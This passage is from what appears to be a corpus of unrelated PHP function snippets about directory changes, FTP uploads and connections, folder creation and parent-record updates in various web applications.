array_shift($path))\n\t{\n\t\tif (!is_dir($folder))\n\t\t{\n\t\t\t// make the folder\n\n\t\t\t// just make if parent happens to already be writable\n\t\t\t// this will help sites with no ftp\n\t\t\tif (is_writable(getcwd())) \n\t\t\t{\n\t\t\t\tmkdir($folder); \n\t\t\t\tchmod($folder, 0777);\n\t\t\t} \n\t\t\telse\n\t\t\t{\n\t\t\t\t// make it with ftp\n\t\t\t\tif ($ftp == false) { return false; }\n\n\t\t\t\ttry \n\t\t\t\t{\n\t\t\t\t\t$ftp->mkdir($folder);\n\t\t\t\t} \n\t\t\t\tcatch (Exception $e) \n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!is_dir($folder)) { return false; }\n\t\t}\n\n\t\t// only 777 the LAST folder\n\t\tif ( (sizeof($path) == 0) and (!is_writable($folder)) )\n\t\t{\n\t\t\tif (is_writable(getcwd()))\n\t\t\t{\n\t\t\t\tchmod($folder, 0777);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ($ftp == false) { return false; }\n\n\t\t\t\ttry \n\t\t\t\t{\n\t\t\t\t\t$ftp->chmod($folder, 0777);\t\n\t\t\t\t} \n\t\t\t\tcatch (Exception $e) \n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\t\n\t\t\t}\n\t\t}\n\n\t\t// change into the folder so we can do the next folder up\n\t\ttry\n\t\t{\n\t\t\tif (is_object($ftp)) { $ftp->chdir($folder); }\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t$error_msg = $e->getMessage();\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tchdir($folder);\n\t}\n\n\t// go back to start, if we got this far all is well\n\tchdir($start_path);\n\treturn true;\n}", "public function cwd() {\n\t\t$cwd = ftp_pwd( $this->link );\n\n\t\tif ( $cwd ) {\n\t\t\t$cwd = trailingslashit( $cwd );\n\t\t}\n\n\t\treturn $cwd;\n\t}", "private function setWorkingDir()\n {\n $this->workingDirBackup = getcwd();\n chdir(PATH_SITE);\n }", "function setDir()\n{\n\t// This script is sometimes called from the other directories - for auto sending, so we need to change the directory\n\t$pos = strrpos(__FILE__, '/');\n\tif ($pos === false)\n\t{\n\t\t$pos = strrpos(__FILE__, '\\\\');\n\t\tif ($pos === false)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t}\n\t$dir = substr(__FILE__, 0, $pos);\n\tchdir($dir);\n}", "function wpc_client_change_parent_file( $parent_file ) {\r\n global $pagenow;\r\n $pagenow = 'admin.php';\r\n $parent_file = 'wpclients';\r\n return $parent_file;\r\n }", "function setCwd($cwd);", "protected function setInitialRelativePath() {}", "function changeDir($directory)\n\t{\n\t\treturn @ftp_chdir($this->connection, $directory);\n\t}", "protected function setInitialRootPath() {}", "private function figureOutRootPath()\n {\n $this->setRootPath(storage_path($this->getDiffsRequestFolder()));\n }", "public function changeCurrentDirectory(Directory $newCurrentDirectory);", "public function setFolder()\n\t{\n\t\t$fullPath = str_replace($this->get('localPath'), '', $this->get('fullPath'));\n\n\t\t// Folder metadata\n\t\t$this->set('type', 'folder');\n\t\t$this->set('name', basename($this->get('dirname')));\n\t\t$this->set('localPath', $this->get('dirname'));\n\n\t\t$this->set('fullPath', $fullPath . $this->get('localPath'));\n\n\t\t$dirname = dirname($this->get('dirname')) == '.'\n\t\t\t\t? null : dirname($this->get('dirname'));\n\t\t$this->set('dirname', $dirname);\n\t\t$this->setParents();\n\n\t\t$this->clear('ext');\n\t\t$this->setIcon('folder');\n\t}", "public function set_parentage($parent_file)\n {\n }", "function cd($dir) {\r\n\t\t$erg = @ftp_chdir($this->_handle, $dir);\r\n\t\tif ( !$erg ) {\r\n\t\t\tthrow new ftpCdException($dir);\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "public function set_parent_id( $value ) {\n\t\t// Update the parent in the database\n\t\twp_update_post( array(\n\t\t\t'ID' => $this->id,\n\t\t\t'post_parent' => $value,\n\t\t) );\n\n\t\t// And update the parent in memory\n\t\t$this->post->post_parent = $value;\n\t\t$this->order = null;\n\t}", "abstract function changedir($path = '', $supress_debug = FALSE);", "function _chdir($dir = '')\n\t{\n\t\tif ($dir && $dir !== '/')\n\t\t{\n\t\t\tif (substr($dir, -1, 1) == '/')\n\t\t\t{\n\t\t\t\t$dir = substr($dir, 0, -1);\n\t\t\t}\n\t\t}\n\n\t\treturn @ftp_chdir($this->connection, $dir);\n\t}", "public function cwd()\n {\n }", "public function cwd()\n {\n }", "public function cwd()\n {\n }", "public function cwd()\n {\n }", "public function cwd()\n {\n }", "function FTPdelete($file,$path,$parent=''){\n}", "function set_parent($parent)\r\n {\r\n $this->parent = $parent;\r\n }", "public function updateChildPaths($oldpath){\n\t\t$db = new DB_WE();\n\t\tif($this->IsFolder && $oldpath != '' && $oldpath != '/' && $oldpath != $this->Path){\n\t\t\t$result = $db->getAllq('SELECT ' . $this->_primaryKey . ' FROM ' . $this->_table . ' WHERE Path like \"' . $db->escape($oldpath . '%') . '\" AND ' . $this->_primaryKey . ' !=' . intval($this->{$this->_primaryKey}));\n\t\t\tforeach($result as $row){\n\t\t\t\t$updateFields = array('Path' => $this->_evalPath($row[$this->_primaryKey]));\n\t\t\t\t$cond = $this->_primaryKey . '=' . intval($row[$this->_primaryKey]);\n\t\t\t\t$db->update($this->_table, $updateFields, $cond);\n\t\t\t}\n\t\t}\n\t}", "function ftp_put_dir($loc_dir, $rmt_dir, $isRecursive=TRUE, $useWhiteList=FALSE) {\n\t\t$loc_dir = rtrim($loc_dir, '/');\n\t\t$rmt_dir = rtrim($rmt_dir, '/');\n\t\t\n\t\t$this->prv_ftp_put_dir($loc_dir, $rmt_dir, $isRecursive, $useWhiteList);\n\t}", "public function chdir($dir) {\n if ($this->getActive()) {\n // Change directory\n if (ftp_chdir($this->_connection, $dir)) {\n return true;\n } else {\n return false;\n }\n } else {\n throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.');\n }\n }", "public function getUploadRootDir()\n {\n\n return '/home/jimmy/html/TDB/web/'.$this->getUploadDir();\n\n }", "public function setParent(Module_Node_Model $parent = null);", "function copyFolder($old_dir,$new_dir){\r\n\t\t\t\t// open the user's directory\r\n\t\t\t\t\t$path = './cloud/'.$_SESSION['SESS_USER_ID'].'/'; // '.' for current\r\n\r\n\t\t\t\t\t\r\n\t\t\t}", "public function setServerRelativePath($value)\n {\n return $this->setProperty(\"ServerRelativePath\", $value, true);\n }", "function moveFolder($user_dir){\r\n\t\t\t\t// open the user's directory\r\n\t\t\t\t\t$path = './cloud/'.$_SESSION['SESS_USER_ID'].'/'; // '.' for current\r\n\r\n\t\t\t\t\t\r\n\t\t\t}", "private function prv_ftp_put_dir($loc_dir, $rmt_dir, $isRecursive=TRUE, $useWhiteList=FALSE) {\n\t\t$dir = dir($loc_dir);\n\t\t\n\t\t// does $rmt_dir exist\n\t\tif ($this->isRmtDir($rmt_dir) === FALSE) {\n\t\t\techo \"\\nUnknown remote path specified...\\n\";\n\t\t\t$this->close();\n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t // do this for each file in the directory\n\t\twhile ($file = $dir->read()) {\n\t\t\t\n\t\t\tif ($file != \".\" && $file != \"..\") { // to prevent an infinite loop\n\n\t\t\t\t// ignore chosen dirs\n\t\t\t\tif ($this->isIgnore($this->ignore, $rmt_dir.\"/\".$file) ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif (is_dir($loc_dir.\"/\".$file)) { // do the following if it is a directory\n\t\t\t\t\t\n\t\t\t\t\tif (!@ftp_chdir($this->conn_id, $rmt_dir.\"/\".$file)) {\n\t\t\t\t\t\t// create directories that do not yet exist\n\t\t\t\t\t\techo \"+:/ \".$rmt_dir.\"/\".$file.\"\\n\";\n\t\t\t\t\t\t$rtn_mkdir = ftp_mkdir($this->conn_id, $rmt_dir.\"/\".$file);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ($rtn_mkdir === FALSE) {\n\t\t\t\t\t\t\techo \"\\nThere was an error uploading the directory...\\n\";\n\t\t\t\t\t\t\t$this->close();\n\t\t\t\t\t\t\texit(1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// recursive into next directory\n\t\t\t\t\t$this->prv_ftp_put_dir($loc_dir.\"/\".$file, $rmt_dir.\"/\".$file);\n\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\techo '+>> '.$rmt_dir.\"/\".$file;\n\t\t\t\t\t$rtn_put = ftp_nb_put(\n\t\t\t\t\t\t\t$this->conn_id, \n\t\t\t\t\t\t\t$rmt_dir.\"/\".$file, \n\t\t\t\t\t\t\t$loc_dir.\"/\".$file, \n\t\t\t\t\t\t\t$this->ftp_trans_mode($file));\n\t\t\t\t\t\n\t\t\t\twhile ($rtn_put == FTP_MOREDATA) {\n\t\t\t\t\t// do whatever you want\n\t\t\t\t\techo '.';\n\t\t\t\t\t\n\t\t\t\t\t// continue downloading\n\t\t\t\t\t$rtn_put = ftp_nb_continue($this->conn_id);\n\t\t\t\t}\n\t\t\t\tif ($rtn_put != FTP_FINISHED) {\n\t\t\t\t\techo \"\\nThere was an error uploading the file...\\n\";\n\t\t\t\t\t$this->close();\n\t\t\t\t\texit(1);\n\t\t\t\t}\n\t\t\t\t\techo \"\\n\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t}", "function set_parent($value) {\n $this->set_mapped_property('parent', $value);\n }", "public function testGoBack() {\n $currentDir = getcwd();\n $parentDir = dirname($currentDir);\n\n $handle = new Directory($parentDir);\n $handle->chdir()->goBack();\n\n $this->assertEquals($currentDir, getcwd());\n chdir($currentDir);\n }", "function crushftp_update_ftp_folder_form_submit($form, &$form_state) {\n global $user;\n $path=\"/var/www/html/vsi-online-hr/ftp\";\n $ar=getDirectorySize($path); \n if ($handle = opendir('/var/www/html/vsi-online-hr/ftp')) {\n //echo \"Directory handle: $handle\\n\";\n //echo \"Entries:\\n\";\n // This is the correct way to loop over the directory. \n while (false !== ($entry = readdir($handle))) {\n //echo \"$entry :\";\n $path=\"/var/www/html/vsi-online-hr/ftp/$entry\"; \n $ar=getDirectorySize($path); \n $values = array('size' => sizeFormat($ar['size']));\n $return_value = NULL;\n // store crushftp details in crushftp databse in users table\n db_set_active('crushftp');\n try {\n $return_value = db_update('USERS')\n ->condition('username', $entry)\n ->fields ($values)\n ->execute();\n drupal_set_message(t('The FTP Folders are updated'));\n watchdog('crushftp', 'New crushftp user added (@user)', array('@user' => $user->uid), WATCHDOG_INFO);\n }\n catch (Exception $e) {\n drupal_set_message(t('db_insert failed. Message = %message, query= %query',\n array('%message' => $e->getMessage(), '%query' => $e->query_string)), 'error');\n } \n // Connecting to default drupal database.\n db_set_active();\n }\n closedir($handle);\n } \n}", "protected function defineOriginalRootPath() {}", "function _cwd()\n\t{\n\t\treturn @ftp_pwd($this->connection);\n\t}", "function fc_update_parent_links()\n{\n $db = new PHPWS_DB('images');\n $db->addWhere('url', 'parent');\n $db->addValue('url', NULL);\n PHPWS_Error::logIfError($db->update());\n\n // remove superfluous column\n PHPWS_Error::logIfError($db->dropTableColumn('parent_id'));\n}", "function _connectFTP()\n\t{\n\t\tJoomlapackLogger::WriteLog(_JP_LOG_DEBUG, 'Connecting to remote FTP');\n\t\t// Connect to the FTP server\n\t\tif($this->_usessl)\n\t\t{\n\t\t\tif(function_exists('ftp_ssl_connect'))\n\t\t\t{\n\t\t\t\t$this->_ftphandle = @ftp_ssl_connect($this->_host, $this->_port);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->_ftphandle = false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_ftphandle = @ftp_connect($this->_host, $this->_port);\n\t\t}\n\n\t\tif(!is_resource($this->_ftphandle))\n\t\t{\n\t\t\t$this->setError('Could not connect to remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Login\n\t\tif(!@ftp_login($this->_ftphandle, $this->_user, $this->_pass))\n\t\t{\n\t\t\t$this->setError('Invalid username/password for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Change to initial directory\n\t\tif(!@ftp_chdir($this->_ftphandle, $this->_initdir))\n\t\t{\n\t\t\t$this->setError('Invalid initial directory for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->_currentdir = $this->_initdir;\n\n\t\t@ftp_pasv($this->_ftphandle, $this->_passive);\n\t\treturn true;\n\t}", "function uploadFTP($file,$path,$parent='',$borrar=true,$code=''){\n\tglobal $config;\n\t//nombre de archivo y carpeta solamente,parent es para cuando se trabaje desde un include\n\t$code=$path=='tags'?'':($code?$code:$_SESSION['ws-tags']['ws-user']['code']);\n\tif(isset($config->ftp)){\n\t\t$id_ftp=ftp_connect($config->ftp->host,21);\n\t\tftp_login($id_ftp,$config->ftp->user,$config->ftp->pass);\n\t\t//echo FTPSERVER.' - '.FTPACCOUNT.' - '.FTPPASS;\n\t\tftp_pasv($id_ftp,true);\n\t\tftp_chdir($id_ftp,$path.'/');\n\t\tif($path!='tags'){\n\t\t\t@ftp_mkdir($id_ftp,$code);\n\t\t\t$code.='/';\n\t\t\tftp_chdir ($id_ftp,$code);\n\t\t}\n\t\t@ftp_put($id_ftp,'index.html',$parent.'img/index.html',FTP_BINARY);\n\t\t@ftp_put($id_ftp,$file,$parent.'img/'.$path.'/'.$code.$file,FTP_BINARY);\n\t\tftp_quit($id_ftp);\n\t\tif($borrar){\n\t\t\t@unlink($parent.'img/'.$path.'/'.$code.$file);\n\t\t}\n\t}\n}", "function transfer()\n\t{\n\t\tglobal $phpbb_root_path;\n\n\t\t$this->file_perms\t= 0644;\n\t\t$this->dir_perms\t= 0777;\n\n\t\t// We use the store directory as temporary path to circumvent open basedir restrictions\n\t\t$this->tmp_path = $phpbb_root_path . 'store/';\n\t}", "public function dir_rewinddir() {\n // We could be more efficient if the user calls opendir() followed by\n // rewinddir() but you just can't help some people.\n $this->next_marker = null;\n $this->current_file_list = null;\n return true;\n }", "function putRecursive($local_path, $remote_path, $overwrite = false, $mode = null) {\r\n\t\t$remote_path = $this->_constructPath($remote_path);\r\n\t\tif ( !file_exists($local_path) || !is_dir($local_path) ) {\r\n\t\t\tthrow new ftpPutRecursiveException(\"Given local-path '$local_path' seems not to be a directory.\");\r\n\t\t}\r\n\t\t// try to create directory if it doesn't exist\r\n\t\t$old_path = $this->pwd();\r\n\t\ttry {\r\n\t\t\t$this->cd($remote_path);\r\n\t\t} catch ( ftpException $e ) {\r\n\t\t\t$res = $this->mkdir($remote_path);\r\n\t\t}\r\n\t\t\r\n\t\t$this->cd($old_path);\r\n\t\tif ( $this->_checkRemoteDir($remote_path) !== true ) {\r\n\t\t\tthrow new ftpPutRecursiveException(\"Given remote-path '$remote_path' seems not to be a directory.\");\r\n\t\t}\r\n\t\t$dir_list = $this->_lsLocal($local_path);\r\n\t\tforeach ( $dir_list[\"dirs\"] as $dir_entry ) {\r\n\t\t\t// local directories do not have arrays as entry\r\n\t\t\t$remote_path_new = $remote_path . $dir_entry . \"/\";\r\n\t\t\t$local_path_new = $local_path . $dir_entry . \"/\";\r\n\t\t\t$result = $this->putRecursive($local_path_new, $remote_path_new, $overwrite, $mode);\r\n\t\t}\r\n\t\t\r\n\t\tforeach ( $dir_list[\"files\"] as $file_entry ) {\r\n\t\t\t$remote_file = $remote_path . $file_entry;\r\n\t\t\t$local_file = $local_path . $file_entry;\r\n\t\t\t$result = $this->put($local_file, $remote_file, $overwrite, $mode);\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "function admin_reparent()\n\t{\n\t\tif(!$this->RequestHandler->prefers('json'))\n\t\t{\n\t\t\t$this->cakeError('error404');\n\t\t\treturn;\n\t\t}\n\n\t\tif(!isset($this->params['form']['node']))\n\t\t{\n\t\t\t$this->cakeError('missing_field', array('field' => 'Node'));\n\t\t\treturn;\n\t\t}\n\n\t\tif(!is_numeric($this->params['form']['node']))\n\t\t{\n\t\t\t$this->cakeError('invalid_field', array('field' => 'Node'));\n\t\t\treturn;\n\t\t}\n\n\t\tif(!isset($this->params['form']['parent']))\n\t\t{\n\t\t\t$this->cakeError('missing_field', array('field' => 'Parent'));\n\t\t\treturn;\n\t\t}\n\n\t\tif(!is_numeric($this->params['form']['parent']))\n\t\t{\n\t\t\t$this->cakeError('invalid_field', array('field' => 'Parent'));\n\t\t\treturn;\n\t\t}\n\n\t\tif(!isset($this->params['form']['position']))\n\t\t{\n\t\t\t$this->cakeError('missing_field', array('field' => 'Position'));\n\t\t\treturn;\n\t\t}\n\n\t\tif(!is_numeric($this->params['form']['position']))\n\t\t{\n\t\t\t$this->cakeError('invalid_field', array('field' => 'Position'));\n\t\t\treturn;\n\t\t}\n\n\t\t$node_id = $this->params['form']['node'];\n\t\t$parent_id = $this->params['form']['parent'];\n\t\t$position = $this->params['form']['position'];\n\n\t\t$node = $this->Navigation->find('first', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'Navigation.id' => $node_id,\n\t\t\t),\n\t\t\t'recursive' => -1,\n\t\t));\n\t\tif(empty($node))\n\t\t{\n\t\t\t$this->cakeError('invalid_field', array('field' => 'Node'));\n\t\t\treturn;\n\t\t}\n\n\t\t$parent = $this->Navigation->find('first', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'Navigation.id' => $parent_id,\n\t\t\t),\n\t\t\t'recursive' => -1,\n\t\t));\n\t\tif(empty($parent))\n\t\t{\n\t\t\t$this->cakeError('invalid_field', array('field' => 'Parent'));\n\t\t\treturn;\n\t\t}\n\n\t\t$data = array(\n\t\t\t'Navigation' => array(\n\t\t\t\t'id' => $node_id,\n\t\t\t\t'parent_id' => $parent_id,\n\t\t\t),\n\t\t);\n\t\tif(!$this->Navigation->save($data))\n\t\t{\n\t\t\t$this->cakeError('internal_error', array('action' => 'Reparent', 'resource' => 'Navigation'));\n\t\t\treturn;\n\t\t}\n\n\t\t$this->Navigation->moveup($node_id, true);\n\t\tif($position > 0)\n\t\t{\n\t\t\t$this->Navigation->movedown($node_id, $position);\n\t\t}\n\n\t\t$this->set('response', array('success' => 1));\n\t}", "function renameFolder($oldName,$newName){\r\n\t\t\t\t// open the user's directory\r\n\t\t\t\t\t$path = './cloud/'.$_SESSION['SESS_USER_ID'].'/'; // '.' for current\r\n\r\n\r\n\t\t\t}", "function update ($parent)\n\t{\n\t\tif (!Folder::exists(JPATH_ROOT . '/images/com_jea/dpe'))\n\t\t{\n\t\t\tFolder::create(JPATH_ROOT . '/images/com_jea/dpe');\n\t\t}\n\t}", "function LocalDir($path) {\n parent::FileList($path);\n $this->handle = opendir($this->path);\n }", "function uploadFTP($file,$path,$parent='',$borrar=true,$code=''){\n\t//nombre de archivo y carpeta solamente,parent es para cuando se trabaje desde un include\n\t$code=$path=='tags'?'':($code?$code:$_SESSION['ws-tags']['ws-user']['code']);\n\tif(!NOFPT){\n\t\t$id_ftp=ftp_connect(FTPSERVER,21);\n\t\tftp_login($id_ftp,FTPACCOUNT,FTPPASS);\n\t\tftp_pasv($id_ftp,false);\n\t\tftp_chdir($id_ftp,$path.'/');\n\t\tif($path!='tags'){\n\t\t\t@ftp_mkdir($id_ftp,$code);\n\t\t\t$code.='/';\n\t\t\tftp_chdir ($id_ftp,$code);\n\t\t}\n\t\t@ftp_put($id_ftp,'index.html',$parent.'img/index.html',FTP_BINARY);\n\t\tftp_put($id_ftp,$file,$parent.'img/'.$path.'/'.$code.$file,FTP_BINARY);\n\t\tftp_quit($id_ftp);\n\t\tif($borrar){\n\t\t\t@unlink($parent.'img/'.$path.'/'.$code.$file);\n\t\t}\n\t}\n}", "public function setParent($parent) {\n\t\t$this->parent = $parent;\n\t}", "function setParent( $value )\r\n {\r\n if ( is_a( $value, \"eZImageCategory\" ) )\r\n {\r\n $this->ParentID = $value->id();\r\n }\r\n }", "protected function popd() {\n $dir = array_pop($this->pwd_stack);\n if (!empty($dir)) {\n chdir($dir);\n }\n }", "public function setParent($parent)\n\t{\n\t\t$this->parent = $parent;\n\t}", "public function setParent($parent)\n {\n $this->parent = $parent;\n }", "public function setParent($parent)\n {\n $this->parent = $parent;\n }", "public function cd(string $path): string\n {\n $pwd = $this->_getPath($path);\n if (empty($pwd))\n {\n $pwd = \"/\";\n }\n if ($this->_checkIfExist($pwd) && $this->is_dir($pwd))\n {\n $this->_pwd = explode(\"/\", rtrim($pwd, \"/\"));\n } else\n {\n {\n throw new SFTPException(\"Could not access directory\");\n }\n }\n return $this->pwd();\n }", "public function mkDir($path)\n {\n // Try get into this dir, maybe it already there\n if (!@ftp_chdir($this->handle, $path)) {\n // Create dir\n ftp_mkdir($this->handle, $path);\n // Change rights\n ftp_chmod($this->handle, 0755, $path);\n // Go to it\n ftp_chdir($this->handle, $path);\n }\n }", "public function setParent(self $parent)\n {\n $this->_parent = $parent;\n }", "function update($parent) \n\t{\n\t\t// $parent is the class calling this method\n\t\t$this->_createTable();\n\t\t$file_list = $this->_copyIncludeFiles();\n\t\t\n\t\tif( $file_list ) $msg .= \"<h3>成功複製更新檔案</h3><ul>{$file_list}</ul><br /><br />\" ;\n\t\t\n\t\techo '<p>' . '更新成功'. '</p>'.$msg;\n\t\t//JFolder::copy( JPATH_PLUGINS.DS.'system'.DS.'asikart_easyset' , JPATH_ROOT.DS.'easyset' , '' , true );\n\t}", "function getParentDir()\n {\n $parent = $this->getParent();\n if (trim($parent) != '')\n return ucwords($parent) . '\\\\';\n return $parent;\n }", "public function setParent(Node $parent)\n {\n $this->parent = $parent;\n }", "public function getParentDirectory() {\n\t\treturn new Directory(dirname($this->getPath()));\n\t}", "public function updateChildFilesystem()\n {\n // Don't synchronise on live (rely on publishing instead)\n if (class_exists(Versioned::class) && $this->hasExtension(Versioned::class) && Versioned::get_stage() === Versioned::LIVE) {\n return;\n }\n\n $this->flushCache();\n // Writing this record should trigger a write (and potential updateFilesystem) on each child\n foreach ($this->AllChildren() as $child) {\n $child->write();\n }\n }", "public function setParent(Tx_Wpj_Domain_Model_place $parent) {\n\t\t$this->parent = $parent;\n\t\t$this->accuracy = count( $this->pathToRoot($this) );\t\n\t}", "function FilesMoveToFolder()\r\n{\r\n global $PH;\r\n\r\n $file_ids= getPassedIds('file','files_*');\r\n\r\n if(!$file_ids) {\r\n $PH->abortWarning(__(\"Select some files to move\"));\r\n exit();\r\n }\r\n\r\n\r\n\r\n /**\r\n * by default render list of folders...\r\n */\r\n $target_id=-1;\r\n\r\n /**\r\n * ...but, if folder was given, directly move files...\r\n */\r\n $folder_ids= getPassedIds('folder','folders_*');\r\n if(count($folder_ids) == 1) {\r\n if($folder_task= Task::getVisibleById($folder_ids[0])) {\r\n $target_id= $folder_task->id;\r\n }\r\n }\r\n\r\n /**\r\n * if no folders was selected, move files to project root\r\n */\r\n else if(get('from_selection')) {\r\n $target_id= 0;\r\n }\r\n\r\n\r\n if($target_id != -1) {\r\n\r\n\r\n if($target_id != 0){\r\n if(!$target_task= Task::getEditableById($target_id)) {\r\n $PH->abortWarning(__(\"insufficient rights\"));\r\n\r\n }\r\n ### get path of target to check for cycles ###\r\n $parent_tasks= $target_task->getFolder();\r\n $parent_tasks[]= $target_task;\r\n }\r\n else {\r\n $parent_tasks=array();\r\n }\r\n\r\n\r\n $count=0;\r\n foreach($file_ids as $id) {\r\n if($file= File::getEditableById($id)) {\r\n\r\n $file->parent_item= $target_id;\r\n $file->update();\r\n }\r\n else {\r\n $PH->messages[]= sprintf(__(\"Can not edit file %s\"), $file->name);\r\n }\r\n }\r\n\r\n ### return to from-page? ###\r\n if(!$PH->showFromPage()) {\r\n $PH->show('home');\r\n }\r\n exit();\r\n }\r\n #else if($target_id != -1) {\r\n # $PH->abortWarning(__(\"insufficient rights to edit any of the selected items\"));\r\n #}\r\n\r\n\r\n\r\n\r\n /**\r\n * build page folder lists...\r\n */\r\n\r\n ### get project ####\r\n if(!$file= File::getVisibleById($file_ids[0])) {\r\n $PH->abortWarning(\"could not get file\", ERROR_BUG);\r\n }\r\n\r\n if(!$project= Project::getVisibleById($file->project)) {\r\n $PH->abortWarning(\"file without project?\", ERROR_BUG);\r\n }\r\n\r\n\r\n ### set up page and write header ####\r\n {\r\n $page= new Page(array('use_jscalendar'=>false, 'autofocus_field'=>'company_name'));\r\n $page->cur_tab='projects';\r\n $page->type= __(\"Edit files\");\r\n $page->title=\"$project->name\";\r\n $page->title_minor=__(\"Select folder to move files into\");\r\n\r\n $page->crumbs= build_project_crumbs($project);\r\n\r\n $page->options[]= new NaviOption(array(\r\n 'target_id' =>'filesMoveToFolder',\r\n ));\r\n\r\n echo(new PageHeader);\r\n }\r\n echo (new PageContentOpen);\r\n\r\n\r\n ### write form #####\r\n {\r\n ### write files as hidden entry ###\r\n foreach($file_ids as $id) {\r\n if($file= File::getEditableById($id)) {\r\n echo \"<input type=hidden name='files_{$id}_chk' value='1'>\";\r\n }\r\n }\r\n\r\n\r\n ### write list of folders ###\r\n {\r\n require_once(confGet('DIR_STREBER') . 'lists/list_tasks.inc.php');\r\n $list= new ListBlock_tasks();\r\n $list->reduced_header= true;\r\n $list->query_options['show_folders']= true;\r\n #$list->query_options['folders_only']= true;\r\n $list->query_options['project']= $project->id;\r\n $list->groupings= NULL;\r\n $list->block_functions= NULL;\r\n $list->id= 'folders';\r\n $list->no_items_html= __('No folders available');\r\n unset($list->columns['status']);\r\n unset($list->columns['date_start']);\r\n unset($list->columns['days_left']);\r\n unset($list->columns['created_by']);\r\n unset($list->columns['label']);\r\n unset($list->columns['project']);\r\n\r\n $list->functions= array();\r\n\r\n $list->active_block_function = 'tree';\r\n\r\n\r\n $list->print_automatic($project,NULL);\r\n }\r\n\r\n echo __(\"(or select nothing to move to project root)\"). \"<br> \";\r\n\r\n echo \"<input type=hidden name='from_selection' value='1'>\"; # keep flag to ungroup files\r\n echo \"<input type=hidden name='project' value='$project->id'>\";\r\n $button_name=__(\"Move items\");\r\n echo \"<input class=button2 type=submit value='$button_name'>\";\r\n\r\n $PH->go_submit='filesMoveToFolder';\r\n\r\n }\r\n echo (new PageContentClose);\r\n echo (new PageHtmlEnd());\r\n\r\n}", "public function getParentDirectory($path);", "function _chdir($dir = '')\n\t{\n\t\tif ($dir && $dir !== '/')\n\t\t{\n\t\t\tif (substr($dir, -1, 1) == '/')\n\t\t\t{\n\t\t\t\t$dir = substr($dir, 0, -1);\n\t\t\t}\n\t\t}\n\n\t\treturn $this->_send_command('CWD', $dir);\n\t}", "public function setRealFolder($value)\n {\n return $this->set('RealFolder', $value);\n }", "public function setRealFolder($value)\n {\n return $this->set('RealFolder', $value);\n }", "public function setNewParent($value)\n {\n return $this->set('NewParent', $value);\n }", "public function setParent($value)\n {\n $this->setItemValue('parent', ['id' => (int)$value]);\n }", "protected function _moveToImageDir()\n\t{\n\t\t$path = $this->getFilePath();\n\t\t$this->_uploadedFile->moveTo($path);\n\t\tchmod($path, 0644);\n\t}", "public function getChrootDir()\n {\n return $this->chrootDir;\n }", "public function cdup()\n {\n ftp_cdup($this->handle);\n }", "function changeDirectory($pathArray) {\r\n\tforeach ($pathArray as $directory) {\r\n\t\tchdir($directory);\r\n\t}\r\n}", "function getRootLevelFolder() ;", "function ts3client_requestChannelMove($serverConnectionHandlerID, $channelID, $newChannelParentID, $newChannelOrder) {}", "public function setParent(FedoraResource $resource): Indexer {\n $this->parent = $resource;\n $this->fedora = $this->parent->getFedora();\n $metadata = $this->parent->getMetadata();\n $locations = $metadata->allLiterals(RC::locProp());\n foreach ($locations as $i) {\n $loc = preg_replace('|/$|', '', self::containerDir() . $i->getValue());\n if (is_dir($loc)) {\n $this->paths[] = $i->getValue();\n }\n }\n return $this;\n }", "public function update($parent)\n\t{\n\t}", "public function setParent($record)\n {\n $this->parent = $record;\n }", "public function update($parent)\n {\n }", "function ftpFiles($id, $archivo, $destino){\r\n\t//die(\"ftpFiles: $id - $archivo - $destino<br />\");\r\n\textract($GLOBALS);\r\n\t$aux = split(\"@\", $destino);\r\n\t$dir_crops = $aux[0] . \"/\";\r\n\t$server = $aux[1];\r\n\t$dir_id = calcularCarpeta($id) . \"/\";\r\n\t$auxFile = pathinfo($archivo);\r\n\t$localFile = $auxFile[\"basename\"];\r\n\t\r\n\tswitch($server){\r\n\t\tcase \"USA\": $dir_final = DIR_WP_USA;break;\t\t\r\n\t\tcase \"241\": $dir_final = DIR_WP_241;\tbreak;\r\n\t}\r\n\t\r\n\t$remoteFilePath = \"$dir_final$dir_crops$dir_id$localFile\";\r\n\tprint \"$dir_crops - $localFile creado!<br />\";\r\n\t//------------------ftp login---------------------------------------------------------------------------------\r\n\t$ftp = new Ftp($servers[$server][0], $servers[$server][1], $servers[$server][2]);\r\n\tif( !$ftp->login() ){\r\n\t\terror(\"No se pudo conectar al FTP: $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t};\r\n\t\r\n\tif( !$ftp->cambiarAcarpeta($dir_final . $dir_crops ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_final . $dir_crops ) ){\r\n\t\t\terror(\"No se pudo crear la carpeta: $dir_final . $dir_crops\", false);\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie();\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta($dir_final . $dir_crops);\r\n\t}\r\n\t\t\r\n\tif( !$ftp->cambiarAcarpeta( $dir_id ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_id ) ){\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie(\"No se pudo crear la carpeta: \" . $dir_final . $dir_crops . 